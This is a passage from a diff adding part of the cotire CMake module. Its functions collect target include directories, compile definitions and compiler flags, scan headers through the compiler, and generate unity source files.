if (CMAKE_INCLUDE_DIRECTORIES_PROJECT_BEFORE) + cotire_check_is_path_relative_to("${_dir}" _isRelative "${CMAKE_SOURCE_DIR}" "${CMAKE_BINARY_DIR}") + if (_isRelative) + list (LENGTH _includeDirs _len) + if (_len EQUAL _projectInsertIndex) + list (APPEND _includeDirs "${_dir}") + else() + list (INSERT _includeDirs _projectInsertIndex "${_dir}") + endif() + math (EXPR _projectInsertIndex "${_projectInsertIndex} + 1") + else() + list (APPEND _includeDirs "${_dir}") + endif() + else() + list (APPEND _includeDirs "${_dir}") + endif() + endforeach() + list (REMOVE_DUPLICATES _includeDirs) + list (REMOVE_DUPLICATES _systemIncludeDirs) + if (CMAKE_${_language}_IMPLICIT_INCLUDE_DIRECTORIES) + list (REMOVE_ITEM _includeDirs ${CMAKE_${_language}_IMPLICIT_INCLUDE_DIRECTORIES}) + endif() + if (WIN32 AND NOT MINGW) + # convert Windows paths in include directories to CMake paths + if (_includeDirs) + set (_paths "") + foreach (_dir ${_includeDirs}) + file (TO_CMAKE_PATH "${_dir}" _path) + list (APPEND _paths "${_path}") + endforeach() + set (_includeDirs ${_paths}) + endif() + if (_systemIncludeDirs) + set (_paths "") + foreach (_dir ${_systemIncludeDirs}) + file (TO_CMAKE_PATH "${_dir}" _path) + list (APPEND _paths "${_path}") + endforeach() + set (_systemIncludeDirs ${_paths}) + endif() + endif() + if (COTIRE_DEBUG AND _includeDirs) + message (STATUS "Target ${_target} include dirs: ${_includeDirs}") + endif() + set (${_includeDirsVar} ${_includeDirs} PARENT_SCOPE) + if (COTIRE_DEBUG AND _systemIncludeDirs) + message (STATUS "Target ${_target} system include dirs: ${_systemIncludeDirs}") + endif() + set (${_systemIncludeDirsVar} ${_systemIncludeDirs} PARENT_SCOPE) +endfunction() + +function (cotire_get_target_export_symbol _target _exportSymbolVar) + set (_exportSymbol "") + get_target_property(_targetType ${_target} TYPE) + get_target_property(_enableExports ${_target} ENABLE_EXPORTS) + if (_targetType MATCHES "(SHARED|MODULE)_LIBRARY" OR + (_targetType STREQUAL "EXECUTABLE" AND _enableExports)) + get_target_property(_exportSymbol ${_target} DEFINE_SYMBOL) + if (NOT _exportSymbol) + set (_exportSymbol "${_target}_EXPORTS") + endif() + string (MAKE_C_IDENTIFIER "${_exportSymbol}" _exportSymbol) + endif() + set (${_exportSymbolVar} ${_exportSymbol} PARENT_SCOPE) +endfunction() + +function (cotire_get_target_compile_definitions _config _language _target _definitionsVar) + string (TOUPPER "${_config}" _upperConfig) + set (_configDefinitions "") + # CMAKE_INTDIR for multi-configuration build systems + if (NOT "${CMAKE_CFG_INTDIR}" STREQUAL ".") + list (APPEND _configDefinitions "CMAKE_INTDIR=\"${_config}\"") + endif() + # target export define symbol + cotire_get_target_export_symbol("${_target}" _defineSymbol) + if (_defineSymbol) + list (APPEND _configDefinitions "${_defineSymbol}") + endif() + # directory compile definitions + get_directory_property(_definitions DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" COMPILE_DEFINITIONS) + if (_definitions) + list (APPEND _configDefinitions ${_definitions}) + endif() + get_directory_property(_definitions DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" COMPILE_DEFINITIONS_${_upperConfig}) + if (_definitions) + list (APPEND _configDefinitions ${_definitions}) + endif() + # target compile definitions + get_target_property(_definitions ${_target} COMPILE_DEFINITIONS) + if (_definitions) + list (APPEND _configDefinitions ${_definitions}) + endif() + get_target_property(_definitions ${_target} COMPILE_DEFINITIONS_${_upperConfig}) + if (_definitions) + list (APPEND _configDefinitions ${_definitions}) + endif() + # interface compile definitions from linked library targets + set (_linkedTargets "") + cotire_get_target_usage_requirements(${_target} ${_config} _linkedTargets) + foreach (_linkedTarget ${_linkedTargets}) + get_target_property(_definitions ${_linkedTarget} INTERFACE_COMPILE_DEFINITIONS) + if (_definitions) + list (APPEND _configDefinitions ${_definitions}) + endif() + endforeach() + # parse additional compile definitions from target compile flags + # and don't look at directory compile definitions, which we already handled + set (_targetFlags "") + cotire_get_target_compile_flags("${_config}" "${_language}" "${_target}" _targetFlags) + cotire_filter_compile_flags("${_language}" "D" _definitions _ignore ${_targetFlags}) + if (_definitions) + list (APPEND _configDefinitions ${_definitions}) + endif() + list (REMOVE_DUPLICATES _configDefinitions) + if (COTIRE_DEBUG AND _configDefinitions) + message (STATUS "Target ${_target} compile definitions: ${_configDefinitions}") + endif() + set (${_definitionsVar} ${_configDefinitions} PARENT_SCOPE) +endfunction() + +function (cotire_get_target_compiler_flags _config _language _target _compilerFlagsVar) + # parse target compile flags omitting compile definitions and include directives + set (_targetFlags "") + cotire_get_target_compile_flags("${_config}" "${_language}" "${_target}" _targetFlags) + set (_flagFilter "D") + if (CMAKE_INCLUDE_FLAG_${_language}) + string (STRIP "${CMAKE_INCLUDE_FLAG_${_language}}" _includeFlag) + string (REGEX REPLACE "^[-/]+" "" _includeFlag "${_includeFlag}") + if (_includeFlag) + set (_flagFilter "${_flagFilter}|${_includeFlag}") + endif() + endif() + if (CMAKE_INCLUDE_SYSTEM_FLAG_${_language}) + string (STRIP "${CMAKE_INCLUDE_SYSTEM_FLAG_${_language}}" _includeFlag) + string (REGEX REPLACE "^[-/]+" "" _includeFlag "${_includeFlag}") + if (_includeFlag) + set (_flagFilter "${_flagFilter}|${_includeFlag}") + endif() + endif() + set (_compilerFlags "") + cotire_filter_compile_flags("${_language}" "${_flagFilter}" _ignore _compilerFlags ${_targetFlags}) + if (COTIRE_DEBUG AND _compilerFlags) + message (STATUS "Target ${_target} compiler flags: ${_compilerFlags}") + endif() + set (${_compilerFlagsVar} ${_compilerFlags} PARENT_SCOPE) +endfunction() + +function (cotire_add_sys_root_paths _pathsVar) + if (APPLE) + if (CMAKE_OSX_SYSROOT AND CMAKE_${_language}_HAS_ISYSROOT) + foreach (_path IN LISTS ${_pathsVar}) + if (IS_ABSOLUTE "${_path}") + get_filename_component(_path "${CMAKE_OSX_SYSROOT}/${_path}" ABSOLUTE) + if (EXISTS "${_path}") + list (APPEND ${_pathsVar} "${_path}") + endif() + endif() + endforeach() + endif() + endif() + set (${_pathsVar} ${${_pathsVar}} PARENT_SCOPE) +endfunction() + +function (cotire_get_source_extra_properties _sourceFile _pattern _resultVar) + set (_extraProperties ${ARGN}) + set (_result "") + if (_extraProperties) + list (FIND _extraProperties "${_sourceFile}" _index) + if (_index GREATER -1) + math (EXPR _index "${_index} + 1") + list (LENGTH _extraProperties _len) + math (EXPR _len "${_len} - 1") + foreach (_index RANGE ${_index} ${_len}) + list (GET _extraProperties ${_index} _value) + if (_value MATCHES "${_pattern}") + list (APPEND _result "${_value}") + else() + break() + endif() + endforeach() + endif() + endif() + set (${_resultVar} ${_result} PARENT_SCOPE) +endfunction() + +function (cotire_get_source_compile_definitions _config _language _sourceFile _definitionsVar) + set (_compileDefinitions "") + if (NOT CMAKE_SCRIPT_MODE_FILE) + string (TOUPPER "${_config}" _upperConfig) + get_source_file_property(_definitions "${_sourceFile}" COMPILE_DEFINITIONS) + if (_definitions) + list (APPEND _compileDefinitions ${_definitions}) + endif() + get_source_file_property(_definitions "${_sourceFile}" COMPILE_DEFINITIONS_${_upperConfig}) + if (_definitions) + list (APPEND _compileDefinitions ${_definitions}) + endif() + endif() + cotire_get_source_extra_properties("${_sourceFile}" "^[a-zA-Z0-9_]+(=.*)?$" _definitions ${ARGN}) + if (_definitions) + list (APPEND _compileDefinitions ${_definitions}) + endif() + if (COTIRE_DEBUG AND _compileDefinitions) + message (STATUS "Source ${_sourceFile} compile definitions: ${_compileDefinitions}") + endif() + set (${_definitionsVar} ${_compileDefinitions} PARENT_SCOPE) +endfunction() + +function (cotire_get_source_files_compile_definitions _config _language _definitionsVar) + set (_configDefinitions "") + foreach (_sourceFile ${ARGN}) + cotire_get_source_compile_definitions("${_config}" "${_language}" "${_sourceFile}" _sourceDefinitions) + if (_sourceDefinitions) + list (APPEND _configDefinitions "${_sourceFile}" ${_sourceDefinitions} "-") + endif() + endforeach() + set (${_definitionsVar} ${_configDefinitions} PARENT_SCOPE) +endfunction() + +function (cotire_get_source_undefs _sourceFile _property _sourceUndefsVar) + set (_sourceUndefs "") + if (NOT CMAKE_SCRIPT_MODE_FILE) + get_source_file_property(_undefs "${_sourceFile}" ${_property}) + if (_undefs) + list (APPEND _sourceUndefs ${_undefs}) + endif() + endif() + cotire_get_source_extra_properties("${_sourceFile}" "^[a-zA-Z0-9_]+$" _undefs ${ARGN}) + if (_undefs) + list (APPEND _sourceUndefs ${_undefs}) + endif() + if (COTIRE_DEBUG AND _sourceUndefs) + message (STATUS "Source ${_sourceFile} ${_property} undefs: ${_sourceUndefs}") + endif() + set (${_sourceUndefsVar} ${_sourceUndefs} PARENT_SCOPE) +endfunction() + +function (cotire_get_source_files_undefs _property _sourceUndefsVar) + set (_sourceUndefs "") + foreach (_sourceFile ${ARGN}) + cotire_get_source_undefs("${_sourceFile}" ${_property} _undefs) + if (_undefs) + list (APPEND _sourceUndefs "${_sourceFile}" ${_undefs} "-") + endif() + endforeach() + set (${_sourceUndefsVar} ${_sourceUndefs} PARENT_SCOPE) +endfunction() + +macro (cotire_set_cmd_to_prologue _cmdVar) + set (${_cmdVar} "${CMAKE_COMMAND}") + if (COTIRE_DEBUG) + list (APPEND ${_cmdVar} "--warn-uninitialized") + endif() + list (APPEND ${_cmdVar} "-DCOTIRE_BUILD_TYPE:STRING=$") + if (XCODE) + list (APPEND ${_cmdVar} "-DXCODE:BOOL=TRUE") + endif() + if (COTIRE_VERBOSE) + list (APPEND ${_cmdVar} "-DCOTIRE_VERBOSE:BOOL=ON") + elseif("${CMAKE_GENERATOR}" MATCHES "Makefiles") + list (APPEND ${_cmdVar} "-DCOTIRE_VERBOSE:BOOL=$(VERBOSE)") + endif() +endmacro() + +function (cotire_init_compile_cmd _cmdVar _language _compilerLauncher _compilerExe _compilerArg1) + if (NOT _compilerLauncher) + set (_compilerLauncher ${CMAKE_${_language}_COMPILER_LAUNCHER}) + endif() + if (NOT _compilerExe) + set (_compilerExe "${CMAKE_${_language}_COMPILER}") + endif() + if (NOT _compilerArg1) + set (_compilerArg1 ${CMAKE_${_language}_COMPILER_ARG1}) + endif() + string (STRIP "${_compilerArg1}" _compilerArg1) + if ("${CMAKE_GENERATOR}" MATCHES "Make|Ninja") + # compiler launcher is only supported for Makefile and Ninja + set (${_cmdVar} ${_compilerLauncher} "${_compilerExe}" ${_compilerArg1} PARENT_SCOPE) + else() + set (${_cmdVar} "${_compilerExe}" ${_compilerArg1} PARENT_SCOPE) + endif() +endfunction() + +macro (cotire_add_definitions_to_cmd _cmdVar _language) + foreach (_definition ${ARGN}) + if (WIN32 AND CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + list (APPEND ${_cmdVar} "/D${_definition}") + else() + list (APPEND ${_cmdVar} "-D${_definition}") + endif() + endforeach() +endmacro() + +function (cotire_add_includes_to_cmd _cmdVar _language _includesVar _systemIncludesVar) + set (_includeDirs ${${_includesVar}} ${${_systemIncludesVar}}) + if (_includeDirs) + list (REMOVE_DUPLICATES _includeDirs) + foreach (_include ${_includeDirs}) + if (WIN32 AND CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + file (TO_NATIVE_PATH "${_include}" _include) + list (APPEND ${_cmdVar} "${CMAKE_INCLUDE_FLAG_${_language}}${CMAKE_INCLUDE_FLAG_SEP_${_language}}${_include}") + else() + set (_index -1) + if ("${CMAKE_INCLUDE_SYSTEM_FLAG_${_language}}" MATCHES ".+") + list (FIND ${_systemIncludesVar} "${_include}" _index) + endif() + if (_index GREATER -1) + list (APPEND ${_cmdVar} "${CMAKE_INCLUDE_SYSTEM_FLAG_${_language}}${CMAKE_INCLUDE_FLAG_SEP_${_language}}${_include}") + else() + list (APPEND ${_cmdVar} "${CMAKE_INCLUDE_FLAG_${_language}}${CMAKE_INCLUDE_FLAG_SEP_${_language}}${_include}") + endif() + endif() + endforeach() + endif() + set (${_cmdVar} ${${_cmdVar}} PARENT_SCOPE) +endfunction() + +function (cotire_add_frameworks_to_cmd _cmdVar _language _includesVar _systemIncludesVar) + if (APPLE) + set (_frameworkDirs "") + foreach (_include ${${_includesVar}}) + if (IS_ABSOLUTE "${_include}" AND _include MATCHES "\\.framework$") + get_filename_component(_frameworkDir "${_include}" DIRECTORY) + list (APPEND _frameworkDirs "${_frameworkDir}") + endif() + endforeach() + set (_systemFrameworkDirs "") + foreach (_include ${${_systemIncludesVar}}) + if (IS_ABSOLUTE "${_include}" AND _include MATCHES "\\.framework$") + get_filename_component(_frameworkDir "${_include}" DIRECTORY) + list (APPEND _systemFrameworkDirs "${_frameworkDir}") + endif() + endforeach() + if (_systemFrameworkDirs) + list (APPEND _frameworkDirs ${_systemFrameworkDirs}) + endif() + if (_frameworkDirs) + list (REMOVE_DUPLICATES _frameworkDirs) + foreach (_frameworkDir ${_frameworkDirs}) + set (_index -1) + if ("${CMAKE_${_language}_SYSTEM_FRAMEWORK_SEARCH_FLAG}" MATCHES ".+") + list (FIND _systemFrameworkDirs "${_frameworkDir}" _index) + endif() + if (_index GREATER -1) + list (APPEND ${_cmdVar} "${CMAKE_${_language}_SYSTEM_FRAMEWORK_SEARCH_FLAG}${_frameworkDir}") + else() + list (APPEND ${_cmdVar} "${CMAKE_${_language}_FRAMEWORK_SEARCH_FLAG}${_frameworkDir}") + endif() + endforeach() + endif() + endif() + set (${_cmdVar} ${${_cmdVar}} PARENT_SCOPE) +endfunction() + +macro (cotire_add_compile_flags_to_cmd _cmdVar) + foreach (_flag ${ARGN}) + list (APPEND ${_cmdVar} "${_flag}") + endforeach() +endmacro() + +function (cotire_check_file_up_to_date _fileIsUpToDateVar _file) + if (EXISTS "${_file}") + set (_triggerFile "") + foreach (_dependencyFile ${ARGN}) + if (EXISTS "${_dependencyFile}") + # IS_NEWER_THAN returns TRUE if both files have the same timestamp + # thus we do the comparison in both directions to exclude ties + if ("${_dependencyFile}" IS_NEWER_THAN "${_file}" AND + NOT "${_file}" IS_NEWER_THAN "${_dependencyFile}") + set (_triggerFile "${_dependencyFile}") + break() + endif() + endif() + endforeach() + if (_triggerFile) + if (COTIRE_VERBOSE) + get_filename_component(_fileName "${_file}" NAME) + message (STATUS "${_fileName} update triggered by ${_triggerFile} change.") + endif() + set (${_fileIsUpToDateVar} FALSE PARENT_SCOPE) + else() + if (COTIRE_VERBOSE) + get_filename_component(_fileName "${_file}" NAME) + message (STATUS "${_fileName} is up-to-date.") + endif() + set (${_fileIsUpToDateVar} TRUE PARENT_SCOPE) + endif() + else() + if (COTIRE_VERBOSE) + get_filename_component(_fileName "${_file}" NAME) + message (STATUS "${_fileName} does not exist yet.") + endif() + set (${_fileIsUpToDateVar} FALSE PARENT_SCOPE) + endif() +endfunction() + +macro (cotire_find_closest_relative_path _headerFile _includeDirs _relPathVar) + set (${_relPathVar} "") + foreach (_includeDir ${_includeDirs}) + if (IS_DIRECTORY "${_includeDir}") + file (RELATIVE_PATH _relPath "${_includeDir}" "${_headerFile}") + if (NOT IS_ABSOLUTE "${_relPath}" AND NOT "${_relPath}" MATCHES "^\\.\\.") + string (LENGTH "${${_relPathVar}}" _closestLen) + string (LENGTH "${_relPath}" _relLen) + if (_closestLen EQUAL 0 OR _relLen LESS _closestLen) + set (${_relPathVar} "${_relPath}") + endif() + endif() + elseif ("${_includeDir}" STREQUAL "${_headerFile}") + # if path matches exactly, return short non-empty string + set (${_relPathVar} "1") + break() + endif() + endforeach() +endmacro() + +macro (cotire_check_header_file_location _headerFile _insideIncludeDirs _outsideIncludeDirs _headerIsInside) + # check header path against ignored and honored include directories + cotire_find_closest_relative_path("${_headerFile}" "${_insideIncludeDirs}" _insideRelPath) + if (_insideRelPath) + # header is inside, but could be become outside if there is a shorter outside match + cotire_find_closest_relative_path("${_headerFile}" "${_outsideIncludeDirs}" _outsideRelPath) + if (_outsideRelPath) + string (LENGTH "${_insideRelPath}" _insideRelPathLen) + string (LENGTH "${_outsideRelPath}" _outsideRelPathLen) + if (_outsideRelPathLen LESS _insideRelPathLen) + set (${_headerIsInside} FALSE) + else() + set (${_headerIsInside} TRUE) + endif() + else() + set (${_headerIsInside} TRUE) + endif() + else() + # header is outside + set (${_headerIsInside} FALSE) + endif() +endmacro() + +macro (cotire_check_ignore_header_file_path _headerFile _headerIsIgnoredVar) + if (NOT EXISTS "${_headerFile}") + set (${_headerIsIgnoredVar} TRUE) + elseif (IS_DIRECTORY "${_headerFile}") + set (${_headerIsIgnoredVar} TRUE) + elseif ("${_headerFile}" MATCHES "\\.\\.|[_-]fixed" AND "${_headerFile}" MATCHES "\\.h$") + # heuristic: ignore C headers with embedded parent directory references or "-fixed" or "_fixed" in path + # these often stem from using GCC #include_next tricks, which may break the precompiled header compilation + # with the error message "error: no include path in which to search for header.h" + set (${_headerIsIgnoredVar} TRUE) + else() + set (${_headerIsIgnoredVar} FALSE) + endif() +endmacro() + +macro (cotire_check_ignore_header_file_ext _headerFile _ignoreExtensionsVar _headerIsIgnoredVar) + # check header file extension + cotire_get_source_file_extension("${_headerFile}" _headerFileExt) + set (${_headerIsIgnoredVar} FALSE) + if (_headerFileExt) + list (FIND ${_ignoreExtensionsVar} "${_headerFileExt}" _index) + if (_index GREATER -1) + set (${_headerIsIgnoredVar} TRUE) + endif() + endif() +endmacro() + +macro (cotire_parse_line _line _headerFileVar _headerDepthVar) + if (MSVC) + # cl.exe /showIncludes output looks different depending on the language pack used, e.g.: + # English: "Note: including file: C:\directory\file" + # German: "Hinweis: Einlesen der Datei: C:\directory\file" + # We use a very general regular expression, relying on the presence of the : characters + if (_line MATCHES "( +)([a-zA-Z]:[^:]+)$") + # Visual Studio compiler output + string (LENGTH "${CMAKE_MATCH_1}" ${_headerDepthVar}) + get_filename_component(${_headerFileVar} "${CMAKE_MATCH_2}" ABSOLUTE) + else() + set (${_headerFileVar} "") + set (${_headerDepthVar} 0) + endif() + else() + if (_line MATCHES "^(\\.+) (.*)$") + # GCC like output + string (LENGTH "${CMAKE_MATCH_1}" ${_headerDepthVar}) + if (IS_ABSOLUTE "${CMAKE_MATCH_2}") + set (${_headerFileVar} "${CMAKE_MATCH_2}") + else() + get_filename_component(${_headerFileVar} "${CMAKE_MATCH_2}" REALPATH) + endif() + else() + set (${_headerFileVar} "") + set (${_headerDepthVar} 0) + endif() + endif() +endmacro() + +function (cotire_parse_includes _language _scanOutput _ignoredIncludeDirs _honoredIncludeDirs _ignoredExtensions _selectedIncludesVar _unparsedLinesVar) + if (WIN32) + # prevent CMake macro invocation errors due to backslash characters in Windows paths + string (REPLACE "\\" "/" _scanOutput "${_scanOutput}") + endif() + # canonize slashes + string (REPLACE "//" "/" _scanOutput "${_scanOutput}") + # prevent semicolon from being interpreted as a line separator + string (REPLACE ";" "\\;" _scanOutput "${_scanOutput}") + # then separate lines + string (REGEX REPLACE "\n" ";" _scanOutput "${_scanOutput}") + list (LENGTH _scanOutput _len) + # remove duplicate lines to speed up parsing + list (REMOVE_DUPLICATES _scanOutput) + list (LENGTH _scanOutput _uniqueLen) + if (COTIRE_VERBOSE OR COTIRE_DEBUG) + message (STATUS "Scanning ${_uniqueLen} unique lines of ${_len} for includes") + if (_ignoredExtensions) + message (STATUS "Ignored extensions: ${_ignoredExtensions}") + endif() + if (_ignoredIncludeDirs) + message (STATUS "Ignored paths: ${_ignoredIncludeDirs}") + endif() + if (_honoredIncludeDirs) + message (STATUS "Included paths: ${_honoredIncludeDirs}") + endif() + endif() + set (_sourceFiles ${ARGN}) + set (_selectedIncludes "") + set (_unparsedLines "") + # stack keeps track of inside/outside project status of processed header files + set (_headerIsInsideStack "") + foreach (_line IN LISTS _scanOutput) + if (_line) + cotire_parse_line("${_line}" _headerFile _headerDepth) + if (_headerFile) + cotire_check_header_file_location("${_headerFile}" "${_ignoredIncludeDirs}" "${_honoredIncludeDirs}" _headerIsInside) + if (COTIRE_DEBUG) + message (STATUS "${_headerDepth}: ${_headerFile} ${_headerIsInside}") + endif() + # update stack + list (LENGTH _headerIsInsideStack _stackLen) + if (_headerDepth GREATER _stackLen) + math (EXPR _stackLen "${_stackLen} + 1") + foreach (_index RANGE ${_stackLen} ${_headerDepth}) + list (APPEND _headerIsInsideStack ${_headerIsInside}) + endforeach() + else() + foreach (_index RANGE ${_headerDepth} ${_stackLen}) + list (REMOVE_AT _headerIsInsideStack -1) + endforeach() + list (APPEND _headerIsInsideStack ${_headerIsInside}) + endif() + if (COTIRE_DEBUG) + message (STATUS "${_headerIsInsideStack}") + endif() + # header is a candidate if it is outside project + if (NOT _headerIsInside) + # get parent header file's inside/outside status + if (_headerDepth GREATER 1) + math (EXPR _index "${_headerDepth} - 2") + list (GET _headerIsInsideStack ${_index} _parentHeaderIsInside) + else() + set (_parentHeaderIsInside TRUE) + endif() + # select header file if parent header file is inside project + # (e.g., a project header file that includes a standard header file) + if (_parentHeaderIsInside) + cotire_check_ignore_header_file_path("${_headerFile}" _headerIsIgnored) + if (NOT _headerIsIgnored) + cotire_check_ignore_header_file_ext("${_headerFile}" _ignoredExtensions _headerIsIgnored) + if (NOT _headerIsIgnored) + list (APPEND _selectedIncludes "${_headerFile}") + else() + # fix header's inside status on stack, it is ignored by extension now + list (REMOVE_AT _headerIsInsideStack -1) + list (APPEND _headerIsInsideStack TRUE) + endif() + endif() + if (COTIRE_DEBUG) + message (STATUS "${_headerFile} ${_ignoredExtensions} ${_headerIsIgnored}") + endif() + endif() + endif() + else() + if (MSVC) + # for cl.exe do not keep unparsed lines which solely consist of a source file name + string (FIND "${_sourceFiles}" "${_line}" _index) + if (_index LESS 0) + list (APPEND _unparsedLines "${_line}") + endif() + else() + list (APPEND _unparsedLines "${_line}") + endif() + endif() + endif() + endforeach() + list (REMOVE_DUPLICATES _selectedIncludes) + set (${_selectedIncludesVar} ${_selectedIncludes} PARENT_SCOPE) + set (${_unparsedLinesVar} ${_unparsedLines} PARENT_SCOPE) +endfunction() + +function (cotire_scan_includes _includesVar) + set(_options "") + set(_oneValueArgs COMPILER_ID COMPILER_EXECUTABLE COMPILER_ARG1 COMPILER_VERSION LANGUAGE UNPARSED_LINES SCAN_RESULT) + set(_multiValueArgs COMPILE_DEFINITIONS COMPILE_FLAGS INCLUDE_DIRECTORIES SYSTEM_INCLUDE_DIRECTORIES + IGNORE_PATH INCLUDE_PATH IGNORE_EXTENSIONS INCLUDE_PRIORITY_PATH COMPILER_LAUNCHER) + cmake_parse_arguments(_option "${_options}" "${_oneValueArgs}" "${_multiValueArgs}" ${ARGN}) + set (_sourceFiles ${_option_UNPARSED_ARGUMENTS}) + if (NOT _option_LANGUAGE) + set (_option_LANGUAGE "CXX") + endif() + if (NOT _option_COMPILER_ID) + set (_option_COMPILER_ID "${CMAKE_${_option_LANGUAGE}_ID}") + endif() + if (NOT _option_COMPILER_VERSION) + set (_option_COMPILER_VERSION "${CMAKE_${_option_LANGUAGE}_COMPILER_VERSION}") + endif() + cotire_init_compile_cmd(_cmd "${_option_LANGUAGE}" "${_option_COMPILER_LAUNCHER}" "${_option_COMPILER_EXECUTABLE}" "${_option_COMPILER_ARG1}") + cotire_add_definitions_to_cmd(_cmd "${_option_LANGUAGE}" ${_option_COMPILE_DEFINITIONS}) + cotire_add_compile_flags_to_cmd(_cmd ${_option_COMPILE_FLAGS}) + cotire_add_includes_to_cmd(_cmd "${_option_LANGUAGE}" _option_INCLUDE_DIRECTORIES _option_SYSTEM_INCLUDE_DIRECTORIES) + cotire_add_frameworks_to_cmd(_cmd "${_option_LANGUAGE}" _option_INCLUDE_DIRECTORIES _option_SYSTEM_INCLUDE_DIRECTORIES) + cotire_add_makedep_flags("${_option_LANGUAGE}" "${_option_COMPILER_ID}" "${_option_COMPILER_VERSION}" _cmd) + # only consider existing source files for scanning + set (_existingSourceFiles "") + foreach (_sourceFile ${_sourceFiles}) + if (EXISTS "${_sourceFile}") + list (APPEND _existingSourceFiles "${_sourceFile}") + endif() + endforeach() + if (NOT _existingSourceFiles) + set (${_includesVar} "" PARENT_SCOPE) + return() + endif() + list (APPEND _cmd ${_existingSourceFiles}) + if (COTIRE_VERBOSE) + message (STATUS "execute_process: ${_cmd}") + endif() + if (_option_COMPILER_ID MATCHES "MSVC") + # cl.exe messes with the output streams unless the environment variable VS_UNICODE_OUTPUT is cleared + unset (ENV{VS_UNICODE_OUTPUT}) + endif() + execute_process( + COMMAND ${_cmd} + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + RESULT_VARIABLE _result + OUTPUT_QUIET + ERROR_VARIABLE _output) + if (_result) + message (STATUS "Result ${_result} scanning includes of ${_existingSourceFiles}.") + endif() + cotire_parse_includes( + "${_option_LANGUAGE}" "${_output}" + "${_option_IGNORE_PATH}" "${_option_INCLUDE_PATH}" + "${_option_IGNORE_EXTENSIONS}" + _includes _unparsedLines + ${_sourceFiles}) + if (_option_INCLUDE_PRIORITY_PATH) + set (_sortedIncludes "") + foreach (_priorityPath ${_option_INCLUDE_PRIORITY_PATH}) + foreach (_include ${_includes}) + string (FIND ${_include} ${_priorityPath} _position) + if (_position GREATER -1) + list (APPEND _sortedIncludes ${_include}) + endif() + endforeach() + endforeach() + if (_sortedIncludes) + list (INSERT _includes 0 ${_sortedIncludes}) + list (REMOVE_DUPLICATES _includes) + endif() + endif() + set (${_includesVar} ${_includes} PARENT_SCOPE) + if (_option_UNPARSED_LINES) + set (${_option_UNPARSED_LINES} ${_unparsedLines} PARENT_SCOPE) + endif() + if (_option_SCAN_RESULT) + set (${_option_SCAN_RESULT} ${_result} PARENT_SCOPE) + endif() +endfunction() + +macro (cotire_append_undefs _contentsVar) + set (_undefs ${ARGN}) + if (_undefs) + list (REMOVE_DUPLICATES _undefs) + foreach (_definition ${_undefs}) + list (APPEND ${_contentsVar} "#undef ${_definition}") + endforeach() + endif() +endmacro() + +macro (cotire_comment_str _language _commentText _commentVar) + if ("${_language}" STREQUAL "CMAKE") + set (${_commentVar} "# ${_commentText}") + else() + set (${_commentVar} "/* ${_commentText} */") + endif() +endmacro() + +function (cotire_write_file _language _file _contents _force) + get_filename_component(_moduleName "${COTIRE_CMAKE_MODULE_FILE}" NAME) + cotire_comment_str("${_language}" "${_moduleName} ${COTIRE_CMAKE_MODULE_VERSION} generated file" _header1) + cotire_comment_str("${_language}" "${_file}" _header2) + set (_contents "${_header1}\n${_header2}\n${_contents}") + if (COTIRE_DEBUG) + message (STATUS "${_contents}") + endif() + if (_force OR NOT EXISTS "${_file}") + file (WRITE "${_file}" "${_contents}") + else() + file (READ "${_file}" _oldContents) + if (NOT "${_oldContents}" STREQUAL "${_contents}") + file (WRITE "${_file}" "${_contents}") + else() + if (COTIRE_DEBUG) + message (STATUS "${_file} unchanged") + endif() + endif() + endif() +endfunction() + +function (cotire_generate_unity_source _unityFile) + set(_options "") + set(_oneValueArgs LANGUAGE) + set(_multiValueArgs + DEPENDS SOURCES_COMPILE_DEFINITIONS + PRE_UNDEFS SOURCES_PRE_UNDEFS POST_UNDEFS SOURCES_POST_UNDEFS PROLOGUE EPILOGUE) + cmake_parse_arguments(_option "${_options}" "${_oneValueArgs}" "${_multiValueArgs}" ${ARGN}) + if (_option_DEPENDS) + cotire_check_file_up_to_date(_unityFileIsUpToDate "${_unityFile}" ${_option_DEPENDS}) + if (_unityFileIsUpToDate) + return() + endif() + endif() + set (_sourceFiles ${_option_UNPARSED_ARGUMENTS}) + if (NOT _option_PRE_UNDEFS) + set (_option_PRE_UNDEFS "") + endif() + if (NOT _option_SOURCES_PRE_UNDEFS) + set (_option_SOURCES_PRE_UNDEFS "") + endif() + if (NOT _option_POST_UNDEFS) + set (_option_POST_UNDEFS "") + endif() + if (NOT _option_SOURCES_POST_UNDEFS) + set (_option_SOURCES_POST_UNDEFS "") + endif() + set (_contents "") + if (_option_PROLOGUE) + list (APPEND _contents ${_option_PROLOGUE}) + endif() + if (_option_LANGUAGE AND _sourceFiles) + if ("${_option_LANGUAGE}" STREQUAL "CXX") + list (APPEND _contents "#ifdef __cplusplus") + elseif ("${_option_LANGUAGE}" STREQUAL "C") + list (APPEND _contents "#ifndef __cplusplus") + endif() + endif() + set (_compileUndefinitions "") + foreach (_sourceFile ${_sourceFiles}) + cotire_get_source_compile_definitions( + "${_option_CONFIGURATION}" "${_option_LANGUAGE}" "${_sourceFile}" _compileDefinitions + ${_option_SOURCES_COMPILE_DEFINITIONS}) + cotire_get_source_undefs("${_sourceFile}" COTIRE_UNITY_SOURCE_PRE_UNDEFS _sourcePreUndefs ${_option_SOURCES_PRE_UNDEFS}) + cotire_get_source_undefs("${_sourceFile}" COTIRE_UNITY_SOURCE_POST_UNDEFS _sourcePostUndefs ${_option_SOURCES_POST_UNDEFS}) + if (_option_PRE_UNDEFS) + list (APPEND _compileUndefinitions ${_option_PRE_UNDEFS}) + endif() + if (_sourcePreUndefs) + list (APPEND _compileUndefinitions ${_sourcePreUndefs}) + endif() + if (_compileUndefinitions) + cotire_append_undefs(_contents ${_compileUndefinitions}) + set (_compileUndefinitions "") + endif() + if (_sourcePostUndefs) + list (APPEND _compileUndefinitions ${_sourcePostUndefs}) + endif() + if (_option_POST_UNDEFS) + list (APPEND _compileUndefinitions ${_option_POST_UNDEFS}) + endif() + foreach (_definition ${_compileDefinitions}) + if (_definition MATCHES "^([a-zA-Z0-9_]+)=(.+)$") + list (APPEND _contents "#define ${CMAKE_MATCH_1} ${CMAKE_MATCH_2}") + list (INSERT _compileUndefinitions 0 "${CMAKE_MATCH_1}") + else() + list (APPEND _contents "#define ${_definition}") + list (INSERT _compileUndefinitions 0 "${_definition}") + endif() + endforeach() + # use absolute path as source file location + get_filename_component(_sourceFileLocation "${_sourceFile}" ABSOLUTE) + if (WIN32) + file 